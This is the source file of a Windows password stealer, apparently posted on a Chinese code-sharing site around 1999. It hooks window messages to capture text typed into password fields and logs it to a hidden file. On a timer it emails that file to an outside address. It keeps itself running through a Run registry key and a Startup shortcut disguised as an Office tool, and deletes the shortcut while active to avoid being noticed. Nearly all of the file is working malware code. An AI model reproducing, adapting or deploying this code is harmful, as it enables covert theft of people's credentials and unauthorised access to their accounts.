getpass.cpp
上传用户:adsacym
上传日期:2007-01-07
资源大小:67k
文件大小:12k
源码类别:

Internet/IE编程

开发平台:

Visual C++

  1. /* getpass.cpp:
  2.    可以将所有在IE和其他所有密码框中的输入记录下来. 并用ftp/email发送到免费个人主页/信箱
  3.    http://www.programsalon.com, http://netcom.163.net netcom@163.net paladin@china.com
  4.    by lgd/Paladin.InetSoft GuangZhou
  5.    Update 19981215: initconn(), using sd_connect instead of gethostname
  6.    Update  19981218: add CreateStartup() and GetProxy()
  7.      Update   19991130:use smtp instead of ftp
  8. */
  9. #include <windows.h>
  10. #include <shlobj.h>
  11. #include <winsock.h>
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <time.h>
  15. #include <io.h>
  16. #include "resource.h"
  17. #include "tcp.h"
  18. #include "smtp.h"
  19. int CreateRun(void);  /* 在注册表里设置自动启动 */
  20. int CreateStartup(void); /* copy文件到windows目录并在启动中建立快捷方式或设置自动启动 */
  21. int DeleteShortCut();  /* 启动时删除快捷方式以免被人发现,终止时重新建立 */
  22. int GetProxy(void);      /* 查询代理服务器 */
  23. int SendUserData(); /* 发送数据到 ftp/smtp server */
  24. int ftp_cmd(int sd, char *cmd, int success_code); /* 执行ftp命令 */
  25. int ftp_login(char *hostname, char *user_name, char *passwd);
  26. int ftp_put_file(int sd, char *file_local, int pos, char *file_remote, int max_wait_time);
  27. int initconn(int sd);  /* 建立数据连接 */
  28. int get_reply(int sd); /* 接收回答 */
  29. void ftp_quit(int sd);
  30. int g_code;
  31. char g_reply[1024];
  32. char proxy[20];
  33. int sd_connect =-1, sd_bind =-1, sd_accept =-1;
  34. /* hooks in ../spydll/hook.c */
  35. BOOL SetMsgHook(BOOL fSet)
  36. {
  37.     static HHOOK hhkGetMessage = NULL;
  38.     static HHOOK hhkCallWndProc = NULL;
  39.     static HMODULE hmodHook;
  40.     if (fSet)
  41.     {
  42.         if (!hmodHook)
  43.         {
  44.             if (!(hmodHook = LoadLibrary("fivedll.dll")))
  45.             {
  46.                 return FALSE;
  47.             }
  48.         }
  49.         if (!hhkGetMessage)
  50.         {
  51.             if (!(hhkGetMessage = SetWindowsHookEx(WH_GETMESSAGE,
  52.                 (HOOKPROC)GetProcAddress(hmodHook, "SpyGetMsgProc"), hmodHook, 0)))
  53.             {
  54.                 return FALSE;
  55.             }
  56.         }
  57.         if (!hhkCallWndProc)
  58.         {
  59.             if (!(hhkCallWndProc = SetWindowsHookEx(WH_CALLWNDPROC,
  60.                 (HOOKPROC)GetProcAddress(hmodHook, "SpyCallWndProc"), hmodHook, 0)))
  61.             {
  62.                 UnhookWindowsHookEx(hhkGetMessage);
  63.                 return FALSE;
  64.             }
  65.         }
  66.     }
  67.     else
  68.     {
  69.         if (hhkGetMessage)
  70.         {
  71.             UnhookWindowsHookEx(hhkGetMessage);
  72.             hhkGetMessage = NULL;
  73.         }
  74.         if (hhkCallWndProc)
  75.         {
  76.             UnhookWindowsHookEx(hhkCallWndProc);
  77.             hhkCallWndProc = NULL;
  78.         }
  79. FreeLibrary(hmodHook);
  80.     }
  81.     return TRUE;
  82. }
  83. int filePos =0;
  84. char UserFile[128];
  85. HRESULT CALLBACK MainWndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
  86. {
  87. static int filePos =0;
  88. int newPos =0;
  89. switch(msg)
  90. {
  91. case WM_CREATE:
  92. if(!GetSystemDirectory(UserFile, sizeof(UserFile)-20))
  93. return TRUE;
  94. strcat(UserFile, "\user.txt");
  95. SetMsgHook(TRUE);
  96. SetTimer(hWnd, 1, 10000, NULL);/*每隔10分钟发送文件*/
  97. break;
  98. case WM_TIMER:
  99. KillTimer(hWnd, 1);
  100. SendUserData();
  101. SetTimer(hWnd, 1, 10000, NULL);
  102. break;
  103. case WM_DESTROY:
  104. SetMsgHook(FALSE);
  105. CreateStartup();
  106. tcp_exit();
  107. PostQuitMessage(0);
  108. break;
  109. case WM_QUERYENDSESSION:
  110. SetMsgHook(FALSE);
  111. CreateStartup();
  112. tcp_exit();
  113. return TRUE;
  114. }
  115. return DefWindowProc(hWnd, msg, wParam, lParam);
  116. }
  117. int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  118. {
  119.     HWND hwnd;
  120. WNDCLASS ws;
  121. MSG msg;
  122. if(FindWindow("Five100", NULL) !=NULL) return 0;
  123. memset(proxy, 0, sizeof(proxy));
  124. memset(&ws, 0, sizeof(ws));
  125. GetProxy();
  126. CreateStartup();
  127. DeleteShortCut();
  128. tcp_init();
  129. ws.lpszClassName ="Five100";
  130. ws.lpfnWndProc =MainWndProc;
  131. ws.hbrBackground =(HBRUSH)(COLOR_WINDOW+1);
  132. ws.hInstance =hInstance;
  133. ws.hIcon =LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ICON1));
  134. if(RegisterClass(&ws) <0)
  135. {
  136. tcp_exit();
  137. return FALSE;
  138. }
  139. hwnd =CreateWindow("Five100", "", WS_POPUP|WS_SYSMENU|WS_CAPTION,
  140. 20, 20, 200, 200, NULL, NULL, hInstance, NULL);
  141. if(hwnd ==NULL)
  142. {
  143. tcp_exit();
  144. return FALSE;
  145. }
  146. while (GetMessage(&msg, NULL, 0, 0))
  147.     {                           
  148.       {
  149.         TranslateMessage(&msg);
  150.         DispatchMessage(&msg);
  151.       }  
  152.     }
  153. SetMsgHook(FALSE);
  154. CreateStartup();
  155. tcp_exit();
  156.     return msg.wParam;
  157. }
  158. int SendUserData()
  159. {
  160. int sd =-1, len;
  161. /* www.nease.net:202.96.152.194, 如果使用smtp,可以不泄露密码,但有时代理服务器不能通过*/
  162. /*if(proxy[0])
  163. {
  164. strcpy(hostname, proxy);
  165. strcpy(username, "????");  //for wingate
  166. }
  167. else
  168. {
  169. retry_local:
  170. strcpy(hostname, "paladin.163.net");
  171. strcpy(username, "paladin");
  172. }*/
  173. if(_access(UserFile, 0) !=0) return 0;
  174. if((sd =smtp_connect("smtp.china.com", 25, 60)) <0)
  175. {
  176. return -1;
  177. }
  178. sd_connect =sd;
  179. char src_email[256];
  180. wsprintf(src_email, "bbs%d@china.com", sd);
  181. if((len =smtp_sendfile(sd, src_email, "liger@china.com", UserFile)) <0)
  182. {
  183. smtp_disconnect(sd);
  184. return -1;
  185. }
  186. smtp_disconnect(sd);
  187. remove(UserFile);
  188. return 0;
  189. }
  190. int ftp_cmd(int sd, char *cmd, int success_code)
  191. {
  192.   int code;
  193.   if(tcp_send(sd, cmd, strlen(cmd), 5) !=(int)strlen(cmd))
  194.     return -1;
  195.   if((code =get_reply(sd)) !=success_code)
  196.   {
  197.     return -2;
  198.   }
  199.   return 0;
  200. }
  201. int ftp_login(char *hostname, char *user_name, char *passwd)
  202. {
  203.   int sd, ret;
  204.   char cmds[100];
  205.   
  206.   if((sd =tcp_connect(hostname, 21, 10, 0)) <0)
  207.     return -1;
  208.   if((ret =get_reply(sd)) !=220)
  209.   {
  210.     closesocket(sd);
  211.     return -1;
  212.   }
  213.   sprintf(cmds, "USER %srn", user_name);
  214.   if(ftp_cmd(sd, cmds, 331) <0)
  215.   {
  216.     closesocket(sd);
  217.     return -1;
  218.   }
  219.   sprintf(cmds, "PASS %srn", passwd);
  220.   if(ftp_cmd(sd, cmds, 230) <0)
  221.   {
  222.     closesocket(sd);
  223.     return -1;
  224.   }
  225.   return sd;
  226. }
  227. int ftp_put_file(int sd, char *file_local, int pos, char *file_remote, int max_wait_time)
  228. {
  229.   char cmds[300];
  230.   int len, file_len =0, len_sent =0, ret =0, code;
  231.   char *buf =NULL;
  232.   FILE *fp =NULL;
  233.   
  234.   if((fp =fopen(file_local, "r")) ==NULL)
  235.   {
  236.     ret =-1;
  237.     goto f_exit;
  238.   }
  239.   fseek(fp, 0, SEEK_END);
  240.   file_len =ftell(fp)-pos;
  241.   if(file_len <0)
  242.   {
  243.   fclose(fp);
  244.   return -1;
  245.   }
  246.   if(file_len <pos)
  247.   {
  248.      filePos =0;
  249.   WriteProfileString("UserFile", "Pos", "0");
  250.   fclose(fp);
  251.   return 0;
  252.   }
  253.   if(file_len ==pos)
  254.   {
  255.   fclose(fp);
  256.   return 0;
  257.   }
  258.   fseek(fp, pos, SEEK_SET);
  259.   if(ftp_cmd(sd, "TYPE Irn", 200) <0)
  260.   {
  261.     ret =-1;
  262.     goto f_exit;
  263.   }
  264.   if((sd_bind =initconn(sd)) <0)
  265.   {
  266.     ret =-1;
  267.     goto f_exit;
  268.   }
  269.   sprintf(cmds, "STOR %srn", file_remote);
  270.   if(ftp_cmd(sd, cmds, 150) <0)
  271.   {
  272.     ret =-1;
  273.     goto f_exit;
  274.   }
  275.   if((sd_accept =tcp_accept(sd_bind, 20)) <0)
  276.   {
  277.     ret =-1;
  278.     goto f_exit;
  279.   }
  280.   
  281.   if((buf =(char *)malloc(1024+1)) ==NULL)
  282.   {
  283.     ret =-1;
  284.     goto f_exit;
  285.   }
  286.   len_sent =0;
  287.   while(len_sent < file_len)
  288.   {
  289.     if(file_len-len_sent <1024) len =file_len-len_sent;
  290.     else len =1024;
  291.     if(fread(buf, len, 1, fp) !=1)
  292.     {
  293.       get_reply(sd);
  294.       ret =-1;
  295.       goto f_exit;
  296.     }
  297.     if(tcp_send(sd_accept, buf, len, max_wait_time) !=len)
  298.     {
  299.       ret =-1;
  300.       get_reply(sd);
  301.       goto f_exit;
  302.     }
  303.     len_sent +=len;
  304.   }
  305.   closesocket(sd_accept); sd_accept =-1;
  306.   if((code =get_reply(sd)) !=226)
  307.   {
  308.     goto f_exit;
  309.   }
  310.   ret =len_sent;
  311. f_exit:
  312.   if(sd_accept >=0) closesocket(sd_accept);
  313.   if(sd_bind >=0) closesocket(sd_bind);
  314.   sd_accept =-1;
  315.   sd_bind =-1;
  316.   if(fp) fclose(fp);
  317.   if(buf) free(buf);
  318.   return ret;
  319. }
  320. int initconn(int sd)
  321. {
  322.   char *p1, *p2;
  323.   struct sockaddr_in addr1, addr2;
  324.   char temp[256];
  325.   int len;
  326.   int code, sd_data;
  327.   /*struct hostent *hp;*/
  328.   
  329.   if((sd_data =tcp_bind(NULL, 0)) <0)
  330.     return -1;
  331.   len =sizeof(addr1);
  332.   /*if(gethostname(temp, sizeof(temp)) !=0)
  333.     return -1;
  334.   if((hp =gethostbyname(temp)) ==NULL)
  335.     return -1;*/
  336.   if(getsockname(sd_connect, (struct sockaddr *)&addr1, &len) <0)
  337.     return -1;
  338.   if(getsockname(sd_data, (struct sockaddr *)&addr2, &len) <0)
  339.     return -1;
  340.   /*p1 =(char *)hp->h_addr;*/
  341.   p1 =(char *)&addr1.sin_addr;
  342.   p2 =(char *)&addr2.sin_port;
  343.   sprintf(temp, "PORT %d,%d,%d,%d,%d,%drn", ((int)p1[0]) &0xff, ((int)p1[1]) &0xff, (int)p1[2] &0xff, (int)p1[3]&0xff, (int)p2[0]&0xff, (int)p2[1]&0xff);
  344.   if(tcp_send(sd, temp, strlen(temp), 10) !=(int)strlen(temp))
  345.   {
  346.     closesocket(sd_data);
  347.     return -1;
  348.   }
  349.   if((code =get_reply(sd)) !=200)
  350.   {
  351.     closesocket(sd_data);
  352.     return -1;
  353.   }
  354.   return sd_data;
  355. }
  356. int get_reply(int sd)
  357. {
  358.   int i, code =0;
  359. again:
  360.   i =0;
  361.   memset(g_reply, 0, sizeof(g_reply));
  362.   while(1)
  363.   {
  364.     if(tcp_recv(sd, &g_reply[i], 1, 10) !=1)
  365.       break;
  366.     if(g_reply[i] =='r') g_reply[i] =' ';
  367.     if(g_reply[i] =='n')
  368.     {
  369.       g_reply[i] =' ';
  370.       g_reply[i+1] =0;
  371.   if(sscanf(g_reply, "%d", &code) !=1)
  372.       {
  373.         return -1;
  374.       }
  375.       else break;
  376.     }
  377.     i++;
  378.   }
  379.   if(g_reply[3] =='-')
  380.   {
  381.   i =0;
  382.   goto again;
  383.   }
  384.   g_code =code;
  385.  
  386.   return code;
  387. }
  388. void ftp_quit(int sd)
  389. {
  390.   ftp_cmd(sd, "QUITrn", 221);
  391.   closesocket(sd);
  392. }
  393. int GetProxy(void)
  394. {
  395. char *tok =NULL;
  396. HKEY hKey;
  397. unsigned char temp[100];
  398. unsigned long type, len;
  399. temp[0] =0;
  400. if(RegOpenKeyEx(HKEY_CURRENT_USER,
  401. "Software\Microsoft\Windows\CurrentVersion\Internet Settings",
  402. 0, KEY_READ, &hKey) !=ERROR_SUCCESS)
  403. return -1;
  404. len =sizeof(temp);
  405. if(RegQueryValueEx(hKey, "ProxyServer", NULL, &type, temp, &len) !=ERROR_SUCCESS)
  406. {
  407. RegCloseKey(hKey);
  408. return -1;
  409. }
  410. if(tok =strtok((char *)temp, ":"))
  411. strcpy(proxy, tok);
  412. RegCloseKey(hKey);
  413. return 0;
  414. }
  415. int CreateRun(void)
  416. {
  417. HKEY hKey;
  418. const char *pval ="Five32.exe";
  419. if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  420. "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
  421. 0, KEY_WRITE, &hKey) !=ERROR_SUCCESS)
  422. return -1;
  423. if(RegSetValueEx(hKey, "Five32", 0, REG_SZ, (const unsigned char *)pval,  strlen(pval)+1)
  424. !=ERROR_SUCCESS)
  425. {
  426. RegCloseKey(hKey);
  427. return -1;
  428. }
  429. RegCloseKey(hKey);
  430. return 0;
  431. }
  432. /* Create shortcut in startup menu */
  433. int CreateStartup(void)
  434. {
  435. HRESULT hres; 
  436. IShellLink* pShellLink; 
  437. char temp[128], windir[100];
  438. GetWindowsDirectory(windir, sizeof(windir));
  439. sprintf(temp, "%s\fivedll.dll", windir);
  440. CopyFile("fivedll.dll", temp, 1);
  441. sprintf(temp, "%s\five32.exe", windir);
  442. CopyFile("five32.exe", temp, 1);
  443. if(CreateRun() ==0) return 0;
  444. CoInitialize(NULL);
  445. hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, 
  446.                            IID_IShellLink, (LPVOID*)&pShellLink); 
  447. if(SUCCEEDED(hres)) 
  448. IPersistFile* pPersistFile;
  449. sprintf(temp, "%s\five32.exe", windir);
  450. pShellLink->SetPath(temp); 
  451. pShellLink->SetDescription("five32"); 
  452. hres =pShellLink->QueryInterface(IID_IPersistFile, (LPVOID*)&pPersistFile); 
  453. if(SUCCEEDED(hres)) 
  454. WCHAR wsz[128]; 
  455. sprintf(temp, "%s\Start Menu\Programs\启动\Office工具.lnk", windir);
  456. MultiByteToWideChar( CP_ACP, 0, temp,
  457. -1, wsz, 128); 
  458. hres = pPersistFile->Save(wsz, TRUE); 
  459. /*if(FAILED(hres)) 
  460. {
  461. char *pstr ="c:\windows\Start Menu\Programs\启动\startrun.lnk";
  462. retry =1;
  463. copy spy.exe and spydll.dll to start
  464. goto retry;
  465. }*/
  466. pPersistFile->Release(); 
  467. pShellLink->Release(); 
  468. CoUninitialize();
  469. return (int)hres; 
  470. }
  471. int DeleteShortCut()
  472. {
  473. char windir[100], file[128];
  474. GetWindowsDirectory(windir, sizeof(windir));
  475. sprintf(file, "%s\Start Menu\Programs\启动\Office工具.lnk", windir);
  476. remove(file);
  477. return 0;
  478. }